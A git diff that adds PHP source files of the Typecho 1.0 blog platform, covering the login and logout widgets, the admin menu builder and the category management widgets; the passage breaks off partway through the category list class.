mode 100755 index 000000000..355caf81c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Interface/Do.php @@ -0,0 +1,20 @@ +<?php +/** + * 可以被Widget_Do调用的接口 + * + * @package Widget + * @version $id$ + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @author qining <magike.net@gmail.com> + * @license GNU General Public License 2.0 + */ +interface Widget_Interface_Do +{ + /** + * 接口需要实现的入口函数 + * + * @access public + * @return void + */ + public function action(); +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Login.php b/Typecho/1.0/php-fpm/src/var/Widget/Login.php new file mode 100755 index 000000000..597a559b1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Login.php @@ -0,0 +1,84 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 登录动作 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 登录组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Login extends Widget_Abstract_Users implements Widget_Interface_Do +{ + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + // protect + $this->security->protect(); + + /** 如果已经登录 */ + if ($this->user->hasLogin()) { + /** 直接返回 */ + $this->response->redirect($this->options->index); + } + + /** 初始化验证类 */ + $validator = new Typecho_Validate(); + $validator->addRule('name', 'required', _t('请输入用户名')); + $validator->addRule('password', 'required', _t('请输入密码')); + + /** 截获验证异常 */ + if ($error = $validator->run($this->request->from('name', 'password'))) { + Typecho_Cookie::set('__typecho_remember_name', $this->request->name); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($error); + $this->response->goBack(); + } + + /** 开始验证用户 **/ + $valid = $this->user->login($this->request->name, $this->request->password, + false, 1 == $this->request->remember ? $this->options->gmtTime + $this->options->timezone + 30*24*3600 : 0); + + /** 比对密码 */ + if (!$valid) { + /** 防止穷举,休眠3秒 */ + sleep(3); + + $this->pluginHandle()->loginFail($this->user, $this->request->name, + $this->request->password, 1 == $this->request->remember); + + Typecho_Cookie::set('__typecho_remember_name', $this->request->name); + $this->widget('Widget_Notice')->set(_t('用户名或密码无效'), 'error'); + $this->response->goBack('?referer=' . urlencode($this->request->referer)); + } + + $this->pluginHandle()->loginSucceed($this->user, $this->request->name, + $this->request->password, 1 == $this->request->remember); + + /** 跳转验证后地址 */ + if (NULL != $this->request->referer) { + $this->response->redirect($this->request->referer); + } else if (!$this->user->pass('contributor', true)) { + /** 不允许普通用户直接跳转后台 */ + $this->response->redirect($this->options->profileUrl); + } else { + $this->response->redirect($this->options->adminUrl); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Logout.php b/Typecho/1.0/php-fpm/src/var/Widget/Logout.php new file mode 100755 index 000000000..a1b7d8661 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Logout.php @@ -0,0 +1,36 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 登出动作 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 登出组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Logout extends Widget_Abstract_Users implements Widget_Interface_Do +{ + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + $this->user->logout(); + $this->pluginHandle()->logout(); + $this->response->goBack(NULL, $this->options->index); + @session_destroy(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Menu.php b/Typecho/1.0/php-fpm/src/var/Widget/Menu.php new file mode 100755 index 000000000..3f8f62998 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Menu.php @@ -0,0 +1,343 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 后台菜单显示 + * + * @package Widget + */ +class Widget_Menu extends Typecho_Widget +{ + /** + * 父菜单列表 + * + * @access private + * @var array + */ + private $_menu = array(); + + /** + * 当前父菜单 + * + * @access private + * @var integer + */ + private $_currentParent = 1; + + /** + * 当前子菜单 + * + * @access private + * @var integer + */ + private $_currentChild = 0; + + /** + * 当前页面 + * + * @access private + * @var string + */ + private $_currentUrl; + + /** + * 全局选项 + * + * @access protected + * @var Widget_Options + */ + protected $options; + + /** + * 用户对象 + * + * @access protected + * @var Widget_User + */ + protected $user; + + /** + * 当前菜单标题 + * @var string + */ + public $title; + + /** + * 当前增加项目链接 + * @var string + */ + public $addLink; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + /** 初始化常用组件 */ + $this->options = $this->widget('Widget_Options'); + $this->user = $this->widget('Widget_User'); + } + + /** + * 执行函数,初始化菜单 + * + * @access public + * @return void + */ + public function execute() + { + $parentNodes = array(NULL, _t('控制台'), _t('撰写'), _t('管理'), _t('设置')); + + $childNodes = array( + array( + array(_t('登录'), _t('登录到%s', $this->options->title), 'login.php', 'visitor'), + array(_t('注册'), _t('注册到%s', $this->options->title), 'register.php', 'visitor') + ), + array( + array(_t('概要'), _t('网站概要'), 'index.php', 'subscriber'), + array(_t('个人设置'), _t('个人设置'), 'profile.php', 'subscriber'), + array(_t('插件'), _t('插件管理'), 'plugins.php', 'administrator'), + array(array('Widget_Plugins_Config', 'getMenuTitle'), array('Widget_Plugins_Config', 'getMenuTitle'), 'options-plugin.php?config=', 'administrator', true), + array(_t('外观'), _t('网站外观'), 'themes.php', 'administrator'), + array(array('Widget_Themes_Files', 'getMenuTitle'), array('Widget_Themes_Files', 'getMenuTitle'), 'theme-editor.php', 'administrator', true), + array(_t('设置外观'), _t('设置外观'), 'options-theme.php', 'administrator', true), + array(_t('升级'), _t('升级程序'), 'upgrade.php', 'administrator', true), + array(_t('欢迎'), _t('欢迎使用'), 'welcome.php', 'subscriber', true) + ), + array( + array(_t('撰写文章'), _t('撰写新文章'), 'write-post.php', 'contributor'), + array(array('Widget_Contents_Post_Edit', 'getMenuTitle'), array('Widget_Contents_Post_Edit', 'getMenuTitle'), 'write-post.php?cid=', 'contributor', true), + array(_t('创建页面'), _t('创建新页面'), 'write-page.php', 'editor'), + array(array('Widget_Contents_Page_Edit', 'getMenuTitle'), array('Widget_Contents_Page_Edit', 'getMenuTitle'), 'write-page.php?cid=', 'editor', true), + ), + array( + array(_t('文章'), _t('管理文章'), 'manage-posts.php', 'contributor', false, 'write-post.php'), + array(array('Widget_Contents_Post_Admin', 'getMenuTitle'), array('Widget_Contents_Post_Admin', 'getMenuTitle'), 'manage-posts.php?uid=', 'contributor', true), + array(_t('独立页面'), _t('管理独立页面'), 'manage-pages.php', 'editor', false, 'write-page.php'), + array(_t('评论'), _t('管理评论'), 'manage-comments.php', 'contributor'), + array(array('Widget_Comments_Admin', 'getMenuTitle'), array('Widget_Comments_Admin', 'getMenuTitle'), 'manage-comments.php?cid=', 'contributor', true), + array(_t('分类'), _t('管理分类'), 'manage-categories.php', 'editor', false, 'category.php'), + array(_t('新增分类'), _t('新增分类'), 'category.php', 'editor', true), + array(array('Widget_Metas_Category_Admin', 'getMenuTitle'), array('Widget_Metas_Category_Admin', 'getMenuTitle'), 'manage-categories.php?parent=', 'editor', true, array('Widget_Metas_Category_Admin', 'getAddLink')), + array(array('Widget_Metas_Category_Edit', 'getMenuTitle'), array('Widget_Metas_Category_Edit', 'getMenuTitle'), 'category.php?mid=', 'editor', true), + array(array('Widget_Metas_Category_Edit', 'getMenuTitle'), array('Widget_Metas_Category_Edit', 'getMenuTitle'), 'category.php?parent=', 'editor', true), + array(_t('标签'), _t('管理标签'), 'manage-tags.php', 'editor'), + array(array('Widget_Metas_Tag_Admin', 'getMenuTitle'), array('Widget_Metas_Tag_Admin', 'getMenuTitle'), 'manage-tags.php?mid=', 'editor', true), + array(_t('文件'), _t('管理文件'), 'manage-medias.php', 'editor'), + array(array('Widget_Contents_Attachment_Edit', 'getMenuTitle'), array('Widget_Contents_Attachment_Edit', 'getMenuTitle'), 'media.php?cid=', 'contributor', true), + array(_t('用户'), _t('管理用户'), 'manage-users.php', 'administrator', false, 'user.php'), + array(_t('新增用户'), _t('新增用户'), 'user.php', 'administrator', true), + array(array('Widget_Users_Edit', 'getMenuTitle'), array('Widget_Users_Edit', 'getMenuTitle'), 'user.php?uid=', 'administrator', true), + ), + array( + array(_t('基本'), _t('基本设置'), 'options-general.php', 'administrator'), + array(_t('评论'), _t('评论设置'), 'options-discussion.php', 'administrator'), + array(_t('阅读'), _t('阅读设置'), 'options-reading.php', 'administrator'), + array(_t('永久链接'), _t('永久链接设置'), 'options-permalink.php', 'administrator'), + )); + + /** 获取扩展菜单 */ + $panelTable = unserialize($this->options->panelTable); + $extendingParentMenu = empty($panelTable['parent']) ? array() : $panelTable['parent']; + $extendingChildMenu = empty($panelTable['child']) ? array() : $panelTable['child']; + $currentUrl = $this->request->makeUriByRequest(); + $adminUrl = $this->options->adminUrl; + $menu = array(); + $defaultChildeNode = array(NULL, NULL, NULL, 'administrator', false, NULL); + + $currentUrlParts = parse_url($currentUrl); + $currentUrlParams = array(); + if (!empty($currentUrlParts['query'])) { + parse_str($currentUrlParts['query'], $currentUrlParams); + } + + if ('/' == $currentUrlParts['path'][strlen($currentUrlParts['path']) - 1]) { + $currentUrlParts['path'] .= 'index.php'; + } + + foreach ($extendingParentMenu as $key => $val) { + $parentNodes[10 + $key] = $val; + } + + foreach ($extendingChildMenu as $key => $val) { + $childNodes[$key] = array_merge(isset($childNodes[$key]) ? $childNodes[$key] : array(), $val); + } + + foreach ($parentNodes as $key => $parentNode) { + // this is a simple struct than before + $children = array(); + $showedChildrenCount = 0; + $firstUrl = NULL; + + foreach ($childNodes[$key] as $inKey => $childNode) { + // magic merge + $childNode += $defaultChildeNode; + list ($name, $title, $url, $access, $hidden, $addLink) = $childNode; + + // 保存最原始的hidden信息 + $orgHidden = $hidden; + + // parse url + $url = Typecho_Common::url($url, $adminUrl); + + // compare url + $urlParts = parse_url($url); + $urlParams = array(); + if (!empty($urlParts['query'])) { + parse_str($urlParts['query'], $urlParams); + } + + $validate = true; + if ($urlParts['path'] != $currentUrlParts['path']) { + $validate = false; + } else { + foreach ($urlParams as $paramName => $paramValue) { + if (!isset($currentUrlParams[$paramName])) { + $validate = false; + break; + } + } + } + + if ($validate + && basename($urlParts['path']) == 'extending.php' + && !empty($currentUrlParams['panel']) && !empty($urlParams['panel']) + && $urlParams['panel'] != $currentUrlParams['panel']){ + $validate = false; + } + + if ($hidden && $validate) { + $hidden = false; + } + + if (!$hidden && !$this->user->pass($access, true)) { + $hidden = true; + } + + if (!$hidden) { + $showedChildrenCount ++; + + if (empty($firstUrl)) { + $firstUrl = $url; + } + + if (is_array($name)) { + list($widget, $method) = $name; + $name = Typecho_Widget::widget($widget)->$method(); + } + + if (is_array($title)) { + list($widget, $method) = $title; + $title = Typecho_Widget::widget($widget)->$method(); + } + + if (is_array($addLink)) { + list($widget, $method) = $addLink; + $addLink = Typecho_Widget::widget($widget)->$method(); + } + } + + if ($validate) { + if ('visitor' != $access) { + $this->user->pass($access); + } + + $this->_currentParent = $key; + $this->_currentChild = $inKey; + $this->title = $title; + $this->addLink = $addLink ? Typecho_Common::url($addLink, $adminUrl) : NULL; + } + + $children[$inKey] = array( + $name, + $title, + $url, + $access, + $hidden, + $addLink, + $orgHidden + ); + } + + $menu[$key] = array($parentNode, $showedChildrenCount > 0, $firstUrl,$children); + } + + $this->_menu = $menu; + $this->_currentUrl = $currentUrl; + } + + /** + * 获取当前菜单 + * + * @access public + * @return array + */ + public function getCurrentMenu() + { + return $this->_currentParent > 0 ? $this->_menu[$this->_currentParent][3][$this->_currentChild] : NULL; + } + + /** + * 输出父级菜单 + * + * @access public + * @return string + */ + public function output($class = 'focus', $childClass = 'focus') + { + foreach ($this->_menu as $key => $node) { + if (!$node[1] || !$key) { + continue; + } + + echo "<ul class=\"root" . ($key == $this->_currentParent ? ' ' . $class : NULL) + . "\"><li class=\"parent\"><a href=\"{$node[2]}\">{$node[0]}</a></dt>" + . "</li><ul class=\"child\">"; + + $last = 0; + foreach ($node[3] as $inKey => $inNode) { + if (!$inNode[4]) { + $last = $inKey; + } + } + + foreach ($node[3] as $inKey => $inNode) { + if ($inNode[4]) { + continue; + } + + $classes = array(); + if ($key == $this->_currentParent && $inKey == $this->_currentChild) { + $classes[] = $childClass; + } else if ($inNode[6]) { + continue; + } + + if ($inKey == $last) { + $classes[] = 'last'; + } + + echo "<li" . (!empty($classes) ? ' class="' . implode(' ', $classes) . '"' : NULL) . + "><a href=\"" . ($key == $this->_currentParent && $inKey == $this->_currentChild ? $this->_currentUrl : $inNode[2]) . "\">{$inNode[0]}</a></li>"; + } + + echo "</ul></ul>"; + } + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Admin.php new file mode 100755 index 000000000..e5795b6e9 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Admin.php @@ -0,0 +1,95 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * Widget_Metas_Category_Admin + * + * @uses Widget_Metas_Category_List + * @copyright Copyright (c) 2012 Typecho Team. (http://typecho.org) + * @author Joyqi <magike.net@gmail.com> + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Category_Admin extends Widget_Metas_Category_List +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $select = $this->db->select('mid')->from('table.metas')->where('type = ?', 'category'); + $select->where('parent = ?', $this->request->parent ? $this->request->parent : 0); + + $this->stack = $this->getCategories(Typecho_Common::arrayFlatten( + $this->db->fetchAll($select->order('table.metas.order', Typecho_Db::SORT_ASC)), 'mid')); + } + + /** + * 向上的返回链接 + * + * @access public + * @return void + */ + public function backLink() + { + if (isset($this->request->parent)) { + $category = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'category', $this->request->parent)); + + if (!empty($category)) { + $parent = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'category', $category['parent'])); + + if ($parent) { + echo '<a href="' . Typecho_Common::url('manage-categories.php?parent=' . $parent['mid'], $this->options->adminUrl) . '">'; + } else { + echo '<a href="' . Typecho_Common::url('manage-categories.php', $this->options->adminUrl) . '">'; + } + + echo '« '; + _e('返回父级分类'); + echo '</a>'; + } + } + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + if (isset($this->request->parent)) { + $category = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'category', $this->request->parent)); + + if (!empty($category)) { + return _t('管理 %s 的子分类', $category['name']); + } + } else { + return; + } + + throw new Typecho_Widget_Exception(_t('分类不存在'), 404); + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getAddLink() + { + if (isset($this->request->parent)) { + return 'category.php?parent=' . $this->request->filter('int')->parent; + } else { + return 'category.php'; + } + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Edit.php new file mode 100755 index 000000000..6ff55b3c5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/Edit.php @@ -0,0 +1,492 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑分类 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑分类组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Category_Edit extends Widget_Abstract_Metas implements Widget_Interface_Do +{ + /** + * 入口函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 编辑以上权限 */ + $this->user->pass('editor'); + } + + /** + * 判断分类是否存在 + * + * @access public + * @param integer $mid 分类主键 + * @return boolean + */ + public function categoryExists($mid) + { + $category = $this->db->fetchRow($this->db->select() + ->from('table.metas') + ->where('type = ?', 'category') + ->where('mid = ?', $mid)->limit(1)); + + return $category ? true : false; + } + + /** + * 判断分类名称是否存在 + * + * @access public + * @param string $name 分类名称 + * @return boolean + */ + public function nameExists($name) + { + $select = $this->db->select() + ->from('table.metas') + ->where('type = ?', 'category') + ->where('name = ?', $name) + ->limit(1); + + if ($this->request->mid) { + $select->where('mid <> ?', $this->request->mid); + } + + $category = $this->db->fetchRow($select); + return $category ? false : true; + } + + /** + * 判断分类名转换到缩略名后是否合法 + * + * @access public + * @param string $name 分类名 + * @return boolean + */ + public function nameToSlug($name) + { + if (empty($this->request->slug)) { + $slug = Typecho_Common::slugName($name); + if (empty($slug) || !$this->slugExists($name)) { + return false; + } + } + + return true; + } + + /** + * 判断分类缩略名是否存在 + * + * @access public + * @param string $slug 缩略名 + * @return boolean + */ + public function slugExists($slug) + { + $select = $this->db->select() + ->from('table.metas') + ->where('type = ?', 'category') + ->where('slug = ?', Typecho_Common::slugName($slug)) + ->limit(1); + + if ($this->request->mid) { + $select->where('mid <> ?', $this->request->mid); + } + + $category = $this->db->fetchRow($select); + return $category ? false : true; + } + + /** + * 生成表单 + * + * @access public + * @param string $action 表单动作 + * @return Typecho_Widget_Helper_Form_Element + */ + public function form($action = NULL) + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/metas-category-edit'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 分类名称 */ + $name = new Typecho_Widget_Helper_Form_Element_Text('name', NULL, NULL, _t('分类名称 *')); + $form->addInput($name); + + /** 分类缩略名 */ + $slug = new Typecho_Widget_Helper_Form_Element_Text('slug', NULL, NULL, _t('分类缩略名'), + _t('分类缩略名用于创建友好的链接形式, 建议使用字母, 数字, 下划线和横杠.')); + $form->addInput($slug); + + /** 父级分类 */ + $options = array(0 => _t('不选择')); + $parents = $this->widget('Widget_Metas_Category_List@options', + (isset($this->request->mid) ? 'ignore=' . $this->request->mid : '')); + + while ($parents->next()) { + $options[$parents->mid] = str_repeat('    ', $parents->levels) . $parents->name; + } + + $parent = new Typecho_Widget_Helper_Form_Element_Select('parent', $options, $this->request->parent, _t('父级分类'), + _t('此分类将归档在您选择的父级分类下.')); + $form->addInput($parent); + + /** 分类描述 */ + $description = new Typecho_Widget_Helper_Form_Element_Textarea('description', NULL, NULL, + _t('分类描述'), _t('此文字用于描述分类, 在有的主题中它会被显示.')); + $form->addInput($description); + + /** 分类动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do'); + $form->addInput($do); + + /** 分类主键 */ + $mid = new Typecho_Widget_Helper_Form_Element_Hidden('mid'); + $form->addInput($mid); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit(); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + if (isset($this->request->mid) && 'insert' != $action) { + /** 更新模式 */ + $meta = $this->db->fetchRow($this->select() + ->where('mid = ?', $this->request->mid) + ->where('type = ?', 'category')->limit(1)); + + if (!$meta) { + $this->response->redirect(Typecho_Common::url('manage-categories.php', $this->options->adminUrl)); + } + + $name->value($meta['name']); + $slug->value($meta['slug']); + $parent->value($meta['parent']); + $description->value($meta['description']); + $do->value('update'); + $mid->value($meta['mid']); + $submit->value(_t('编辑分类')); + $_action = 'update'; + } else { + $do->value('insert'); + $submit->value(_t('增加分类')); + $_action = 'insert'; + } + + if (empty($action)) { + $action = $_action; + } + + /** 给表单增加规则 */ + if ('insert' == $action || 'update' == $action) { + $name->addRule('required', _t('必须填写分类名称')); + $name->addRule(array($this, 'nameExists'), _t('分类名称已经存在')); + $name->addRule(array($this, 'nameToSlug'), _t('分类名称无法被转换为缩略名')); + $name->addRule('xssCheck', _t('请不要在分类名称中使用特殊字符')); + $slug->addRule(array($this, 'slugExists'), _t('缩略名已经存在')); + $slug->addRule('xssCheck', _t('请不要在缩略名中使用特殊字符')); + } + + if ('update' == $action) { + $mid->addRule('required', _t('分类主键不存在')); + $mid->addRule(array($this, 'categoryExists'), _t('分类不存在')); + } + + return $form; + } + + /** + * 增加分类 + * + * @access public + * @return void + */ + public function insertCategory() + { + if ($this->form('insert')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $category = $this->request->from('name', 'slug', 'description', 'parent'); + + $category['slug'] = Typecho_Common::slugName(empty($category['slug']) ? $category['name'] : $category['slug']); + $category['type'] = 'category'; + $category['order'] = $this->getMaxOrder('category', $category['parent']) + 1; + + /** 插入数据 */ + $category['mid'] = $this->insert($category); + $this->push($category); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('分类 <a href="%s">%s</a> 已经被增加', + $this->permalink, $this->name), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-categories.php' + . ($category['parent'] ? '?parent=' . $category['parent'] : ''), $this->options->adminUrl)); + } + + /** + * 更新分类 + * + * @access public + * @return void + */ + public function updateCategory() + { + if ($this->form('update')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $category = $this->request->from('name', 'slug', 'description', 'parent'); + $category['mid'] = $this->request->mid; + $category['slug'] = Typecho_Common::slugName(empty($category['slug']) ? $category['name'] : $category['slug']); + $category['type'] = 'category'; + $current = $this->db->fetchRow($this->select()->where('mid = ?', $category['mid'])); + + if ($current['parent'] != $category['parent']) { + $parent = $this->db->fetchRow($this->select()->where('mid = ?', $category['parent'])); + + if ($parent['mid'] == $category['mid']) { + $category['order'] = $parent['order']; + $this->update(array( + 'parent' => $current['parent'], + 'order' => $current['order'] + ), $this->db->sql()->where('mid = ?', $parent['mid'])); + } else { + $category['order'] = $this->getMaxOrder('category', $category['parent']) + 1; + } + } + + /** 更新数据 */ + $this->update($category, $this->db->sql()->where('mid = ?', $this->request->filter('int')->mid)); + $this->push($category); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('分类 <a href="%s">%s</a> 已经被更新', + $this->permalink, $this->name), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-categories.php' + . ($category['parent'] ? '?parent=' . $category['parent'] : ''), $this->options->adminUrl)); + } + + /** + * 删除分类 + * + * @access public + * @return void + */ + public function deleteCategory() + { + $categories = $this->request->filter('int')->getArray('mid'); + $deleteCount = 0; + + foreach ($categories as $category) { + $parent = $this->db->fetchObject($this->select()->where('mid = ?', $category))->parent; + + if ($this->delete($this->db->sql()->where('mid = ?', $category))) { + $this->db->query($this->db->delete('table.relationships')->where('mid = ?', $category)); + $this->update(array('parent' => $parent), $this->db->sql()->where('parent = ?', $category)); + $deleteCount ++; + } + } + + /** 提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('分类已经删除') : _t('没有分类被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 合并分类 + * + * @access public + * @return void + */ + public function mergeCategory() + { + /** 验证数据 */ + $validator = new Typecho_Validate(); + $validator->addRule('merge', 'required', _t('分类主键不存在')); + $validator->addRule('merge', array($this, 'categoryExists'), _t('请选择需要合并的分类')); + + if ($error = $validator->run($this->request->from('merge'))) { + $this->widget('Widget_Notice')->set($error, 'error'); + $this->response->goBack(); + } + + $merge = $this->request->merge; + $categories = $this->request->filter('int')->getArray('mid'); + + if ($categories) { + $this->merge($merge, 'category', $categories); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('分类已经合并'), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t('没有选择任何分类'), 'notice'); + } + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 分类排序 + * + * @access public + * @return void + */ + public function sortCategory() + { + $categories = $this->request->filter('int')->getArray('mid'); + if ($categories) { + $this->sort($categories, 'category'); + } + + if (!$this->request->isAjax()) { + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-categories.php', $this->options->adminUrl)); + } else { + $this->response->throwJson(array('success' => 1, 'message' => _t('分类排序已经完成'))); + } + } + + /** + * 刷新分类 + * + * @access public + * @return void + */ + public function refreshCategory() + { + $categories = $this->request->filter('int')->getArray('mid'); + if ($categories) { + foreach ($categories as $category) { + $this->refreshCountByTypeAndStatus($category, 'post', 'publish'); + } + + $this->widget('Widget_Notice')->set(_t('分类刷新已经完成'), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t('没有选择任何分类'), 'notice'); + } + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 设置默认分类 + * + * @access public + * @return void + */ + public function defaultCategory() + { + /** 验证数据 */ + $validator = new Typecho_Validate(); + $validator->addRule('mid', 'required', _t('分类主键不存在')); + $validator->addRule('mid', array($this, 'categoryExists'), _t('分类不存在')); + + if ($error = $validator->run($this->request->from('mid'))) { + $this->widget('Widget_Notice')->set($error, 'error'); + } else { + + $this->db->query($this->db->update('table.options') + ->rows(array('value' => $this->request->mid)) + ->where('name = ?', 'defaultCategory')); + + $this->db->fetchRow($this->select()->where('mid = ?', $this->request->mid) + ->where('type = ?', 'category')->limit(1), array($this, 'push')); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('<a href="%s">%s</a> 已经被设为默认分类', + $this->permalink, $this->name), 'success'); + } + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-categories.php', $this->options->adminUrl)); + } + + /** + * 获取菜单标题 + * + * @return string + * @throws Typecho_Widget_Exception + */ + public function getMenuTitle() + { + if (isset($this->request->mid)) { + $category = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'category', $this->request->mid)); + + if (!empty($category)) { + return _t('编辑分类 %s', $category['name']); + } + + } if (isset($this->request->parent)) { + $category = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'category', $this->request->parent)); + + if (!empty($category)) { + return _t('新增 %s 的子分类', $category['name']); + } + + } else { + return; + } + + throw new Typecho_Widget_Exception(_t('分类不存在'), 404); + } + + /** + * 入口函数 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=insert'))->insertCategory(); + $this->on($this->request->is('do=update'))->updateCategory(); + $this->on($this->request->is('do=delete'))->deleteCategory(); + $this->on($this->request->is('do=merge'))->mergeCategory(); + $this->on($this->request->is('do=sort'))->sortCategory(); + $this->on($this->request->is('do=refresh'))->refreshCategory(); + $this->on($this->request->is('do=default'))->defaultCategory(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/List.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/List.php new file mode 100755 index 000000000..cf85926aa --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Category/List.php @@ -0,0 +1,415 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 分类输出 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 分类输出组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Category_List extends Widget_Abstract_Metas +{ + /** + * 多级分类回调函数 + * + * @var boolean + * @access private + */ + private $_customTreeViewCategoriesCallback = false; + + /** + * 树状分类结构 + * + * @var array + * @access private + */ + private $_treeViewCategories = array(); + + /** + * _categoryOptions + * + * @var mixed + * @access private + */ + private $_categoryOptions = NULL; + + /** + * 顶层分类 + * + * @var array + * @access private + */ + private $_top = array(); + + /** + * 所有分类哈希表 + * + * @var array + * @access private + */ + private $_map = array(); + + /** + * 顺序流 + * + * @var array + * @access private + */ + private $_orders = array(); + + /** + * 所有子节点列表 + * + * @var array + * @access private + */ + private $_children = array(); + + /** + * 所有父节点列表 + * + * @var array + * @access private + */ + private $_parents = array(); + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + $this->parameter->setDefault('ignore=0¤t='); + + /** 初始化回调函数 */ + if (function_exists('treeViewCategories')) { + $this->_customTreeViewCategoriesCallback = true; + } + + $select = $this->select()->where('type = ?', 'category'); + if ($this->parameter->ignore) { + $select->where('mid <> ?', $this->parameter->ignore); + } + + $categories = $this->db->fetchAll($select->order('table.metas.order', Typecho_Db::SORT_ASC)); + foreach ($categories as $category) { + $category['levels'] = 0; + $this->_map[$category['mid']] = $category; + } + + // 读取数据 + foreach ($this->_map as $mid => $category) { + $parent = $category['parent']; + + if (0 != $parent && isset($this->_map[$parent])) { + $this->_treeViewCategories[$parent][] = $mid; + } else { + $this->_top[] = $mid; + } + } + + // 预处理深度 + $this->levelWalkCallback($this->_top); + $this->_map = array_map(array($this, 'filter'), $this->_map); + } + + /** + * 列出分类回调 + * + * @access private + */ + private function treeViewCategoriesCallback() + { + 